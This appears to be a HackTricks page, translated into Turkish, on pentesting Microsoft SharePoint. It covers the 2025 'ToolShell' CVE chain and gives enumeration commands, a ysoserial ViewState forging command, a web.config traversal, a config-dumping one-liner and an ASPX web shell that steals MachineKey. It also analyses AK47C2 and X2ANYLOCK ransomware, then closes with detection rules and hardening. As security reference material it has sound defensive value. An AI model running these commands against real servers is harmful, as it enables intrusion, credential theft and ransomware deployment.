Microsoft SharePoint – Pentesting & Exploitation

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Microsoft SharePoint (yerinde) ASP.NET/IIS üzerine inşa edilmiştir. Bu nedenle, klasik web saldırı yüzeyinin çoğu (ViewState, Web.Config, web shell'ler vb.) mevcuttur, ancak SharePoint ayrıca maruz kalan saldırı yüzeyini önemli ölçüde genişleten yüzlerce özel ASPX sayfası ve web hizmeti ile birlikte gelir. Bu sayfa, Unit42 tarafından açıklanan 2025 exploit zincirine (CVE-2025-49704/49706/53770/53771) vurgu yaparak, SharePoint ortamlarında sayım, istismar ve kalıcılık sağlamak için pratik ipuçlarını toplar.

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit zinciri (diğer adıyla “ToolShell”)

2.1 CVE-2025-49704 – ToolPane.aspx'da Kod Enjeksiyonu

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> sayfaya rastgele Server-Side Include kodunun enjekte edilmesine izin verir ve bu kod daha sonra ASP.NET tarafından derlenir. Bir saldırgan, Process.Start()'ı çalıştıran C# kodunu gömebilir ve kötü niyetli bir ViewState bırakabilir.

2.2 CVE-2025-49706 – Yanlış Kimlik Doğrulama Atlatma

Aynı sayfa, site bağlamını belirlemek için X-Forms_BaseUrl başlığına güvenmektedir. Bunu /_layouts/15/'e yönlendirerek, kök sitede uygulanan MFA/SSO kimlik doğrulaması olmadan atlatılabilir.

2.3 CVE-2025-53770 – Kimlik Doğrulaması Olmayan ViewState Deserialization → RCE

Saldırgan ToolPane.aspx'da bir gadget'ı kontrol ettiğinde, .NET deserialization'ı tetikleyen imzasız (veya yalnızca MAC) __VIEWSTATE değerini gönderebilir, bu da kod yürütmeye yol açar.

Eğer imzalama etkinse, herhangi bir web.config'ten ValidationKey/DecryptionKey'i çalın (bkz. 2.4) ve yükü ysoserial.net veya ysodom ile sahteleyin:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

ASP.NET ViewState'i kötüye kullanma hakkında derinlemesine bir açıklama için okuyun:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Yol Traversali / web.config Açığa Çıkarma

ToolPane.aspx'ye hazırlanmış bir Source parametresi göndermek (örneğin ../../../../web.config), hedef dosyayı döndürerek aşağıdakilerin açığa çıkmasına izin verir:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ ViewState / ASPXAUTH çerezlerini sahtelemek
  • bağlantı dizeleri ve gizli anahtarlar.

3. Gerçek hayatta gözlemlenen sonrası istismar tarifleri

3.1 Her .config dosyasını dışarı aktar (varyasyon-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Sonuç olarak elde edilen debug_dev.js anonim olarak indirilebilir ve tüm hassas yapılandırmaları içerir.

3.2 Base64 kodlu ASPX web shell dağıtımı (varyasyon-2)

powershell.exe -EncodedCommand <base64>

Kodlanmış yük örneği (kısaltılmış):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Yazıldığı yer:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

Shell, çift kanallı C2 implantı ve SharePoint ortamlarında fidye yazılımı dağıtmak için ilk RCE sonrasında ToolShell zincirini nasıl kullandığını gösteren son olay yanıtı araştırmaları (Unit42 “Project AK47”):

AK47C2 – dnsclient varyantı

  • Sabit kodlu DNS sunucusu: 10.7.66.10, yetkili alan update.updatemicfosoft.com ile iletişim kuruyor.
  • Mesajlar, statik anahtar VHBD@H ile XOR şifrelenmiş JSON nesneleridir, hex kodlanmış ve alt alan etiketleri olarak gömülmüştür.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Uzun sorgular parçalara ayrılır ve s ile ön eklenir, ardından sunucu tarafında yeniden birleştirilir.
  • Sunucu, aynı XOR/hex şemasını taşıyan TXT kayıtları ile yanıt verir:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Versiyon 202504, <COMMAND>::<SESSION_KEY> ve parça işaretçileri 1, 2, a ile basitleştirilmiş bir format tanıttı.

AK47C2 – httpclient varyantı

  • Tam olarak aynı JSON & XOR rutinini yeniden kullanır ancak hex blob'u HTTP POST gövdesinde libcurl aracılığıyla gönderir (CURLOPT_POSTFIELDS, vb.).
  • Aşağıdaki işlemleri gerçekleştiren aynı görev/sonuç iş akışı sağlar:
  • Keyfi shell komut yürütme.
  • Dinamik uyku aralığı ve kill-switch talimatları.

X2ANYLOCK fidye yazılımı

  • DLL yan yükleme aracılığıyla yüklenen 64-bit C++ yükü (aşağıya bakın).
  • Dosya verileri için AES-CBC ve AES anahtarını sarmak için RSA-2048 kullanır, ardından .x2anylock uzantısını ekler.
  • Yerel sürücüleri ve keşfedilen SMB paylaşımlarını özyinelemeli olarak şifreler; sistem yollarını atlar.
  • Müzakere için statik Tox ID gömülü How to decrypt my data.txt açık metin notu bırakır.
  • İçinde bir kill-switch içerir:
c
if (file_mod_time >= "2026-06-06") exit(0);

DLL yan yükleme zinciri

  1. Saldırgan, meşru bir 7z.exe dosyasının yanına dllhijacked.dll/My7zdllhijacked.dll yazar.
  2. SharePoint tarafından başlatılan w3wp.exe, Windows arama sırası nedeniyle kötü amaçlı DLL'yi yükleyen 7z.exe'yi başlatır ve fidye yazılımı giriş noktasını bellekte çağırır.
  3. Ayrı bir LockBit yükleyici gözlemlendi (bbb.msiclink_x86.execlink_dll_x86.dll), shell kodunu şifre çözer ve LockBit 3.0'ı çalıştırmak için d3dl1.dll içine DLL hollowing gerçekleştirir.

info

X2ANYLOCK'ta bulunan aynı statik Tox ID, sızdırılan LockBit veritabanlarında görünmektedir ve bu da ortaklık örtüşmesini önermektedir.


4. Tespit fikirleri

TelemetriNeden şüpheli
w3wp.exe → cmd.exeÇalışan süreç nadiren shell başlatmalıdır
cmd.exe → powershell.exe -EncodedCommandKlasik lolbin deseni
debug_dev.js veya spinstall0.aspx oluşturan dosya olaylarıToolShell'den doğrudan IOC'ler
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Modül günlükleri)Kamuya açık PoC'ler bu sayfayı çağırır

Örnek XDR / Sysmon kuralı (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Güçlendirme & Azaltma

  1. Yamanla – Temmuz 2025 güvenlik güncellemeleri tüm dört CVE'yi düzeltir.
  2. Kompromize sonrası her <machineKey> ve ViewState gizli anahtarını değiştirin.
  3. WSS_WPG & WSS_ADMIN_WPG gruplarından LAYOUTS yazma iznini kaldırın.
  4. Proxy/WAF seviyesinde /_layouts/15/ToolPane.aspx dış erişimini engelleyin.
  5. ViewStateUserKey, MAC etkin, ve özel EventValidation'ı etkinleştirin.

İlgili hileler

  • IIS sonrası istismar & web.config kötüye kullanımı:

IIS - Internet Information Services

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin